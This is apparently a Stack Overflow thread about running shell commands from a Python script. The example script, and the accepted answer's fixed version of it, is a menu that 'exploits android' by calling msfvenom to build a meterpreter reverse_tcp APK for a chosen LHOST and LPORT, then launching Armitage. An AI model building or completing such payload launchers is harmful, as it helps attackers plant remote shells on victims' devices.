1

I was wondering how can I combine sh and py code in one file and then execute it. What format should I save it in and commands for executing it?

Here is an example script I have written have a look at it and tell me the modifications to it

#test

Print("hello welcome to test")

print("to exploit android enter 1")
print("to exploit windows enter 2")

user_response = input(">")
if user_response == 1:
    print("you have seclected android")
    lhost = input("Please type in ur ip adress > ")
    lport = input("Please type in ur recommended port to use > ")
    print("the apk installable is placed on ur desktop")
    print("we are using reverse_tcp")
    print("the LHOST is",lhost)
    print("the LPORT is",lport)
    !msfvenom -p android/meterpreter/reverse_tcp LHOST=(how do i add lhost) LPORT=(how do i add lport) R> /root/Desktop
    print("the apk is located in ur Desktop")
    !service postgresql start
    !armitage
elif user_response == 2:
    bla ..
    bla .. 
    bla ..
    testing bla bla bla
Xavier C.
  • 1,921
  • 15
  • 22
Adnan
  • 11
  • 3
  • 1
    You can easily execute shell command from python. – polku Aug 03 '16 at 11:53
  • [`subprocess.popen()`](http://stackoverflow.com/questions/12605498/how-to-use-subprocess-popen-python) – xyres Aug 03 '16 at 11:54
  • @123: Well, it should possible to have a unified script, but it's really not worth the efforts. That question would belong to [codegolf.se] :D – anishsane Aug 03 '16 at 12:14
  • @anishsane You would need an interpreter that understands both as well as having to resolve ambiguity between commands with the same name in both languages. – 123 Aug 03 '16 at 12:17
  • @123: I was thinking of putting everything python commented. Then use something like `sed -n s/^#//p "$0" | bash` ;-) As I said, it's codegolf kind of problem statement, not real useful script... – anishsane Aug 03 '16 at 15:19
  • 1
    @123: [Here...](http://stackoverflow.com/questions/38886505/how-to-write-a-bash-script-which-calls-itself-with-python) This is clever... :-) – anishsane Aug 11 '16 at 05:06

3 Answers3

2

You can. You have to import the os module and wrap your shell commands like this: os.system("ls -l"). Source

So for your code it would look like this:

#test

print("hello welcome to test")
import os
print("to exploit android enter 1")
print("to exploit windows enter 2")

user_response = input(">")
if user_response == str(1):
    print("you have seclected android")
    lhost = input("Please type in ur ip adress > ")
    lport = input("Please type in ur recommended port to use > ")
    print("the apk installable is placed on ur desktop")
    print("we are using reverse_tcp")
    print("the LHOST is",lhost)
    print("the LPORT is",lport)
    os.system("msfvenom -p android/meterpreter/reverse_tcp LHOST=" + str(lhost) + " LPORT=" + str(lport) + " R> /root/Desktop")
    print("the apk is located in ur Desktop")
    os.system("service postgresql start")
    os.system("armitage")
elif user_response == str(2):
    bla ..
    bla .. 
    bla ..
    testing bla bla bla

Linux does not care about filename extensions but it is still a python script so you should use .py. The command for executing it is "python3 scriptname.py". Keep in mind that you have to set the permission to executable with "chmod 755 scriptname.py"

Community
  • 1
  • 1
Readme
  • 306
  • 1
  • 5
  • I have tried this program but doesn't work as it is supposed to, after I enter 1 the program ends – Adnan Aug 03 '16 at 13:50
  • I edited my code. It was comparing the input "1", which is a string, to the integer 1. By adding str() it's now comparing strings to strings. Please try again with these changes. – Readme Aug 03 '16 at 13:55
  • i have tried that too. user = input(">>>") user_response = int(user) – Adnan Aug 03 '16 at 14:32
1

You could save a Python file and run the shell script with Python code:

import os
os.system('./script.sh')
coder97
  • 17
  • 10
1

You can't write both intermixed directly, but you can certainly run shell commands from within Python:

import subprocess
retval = subprocess.call('echo foo', shell=True)

See the subprocess docs for more detail.

tzaman
  • 46,925
  • 11
  • 90
  • 115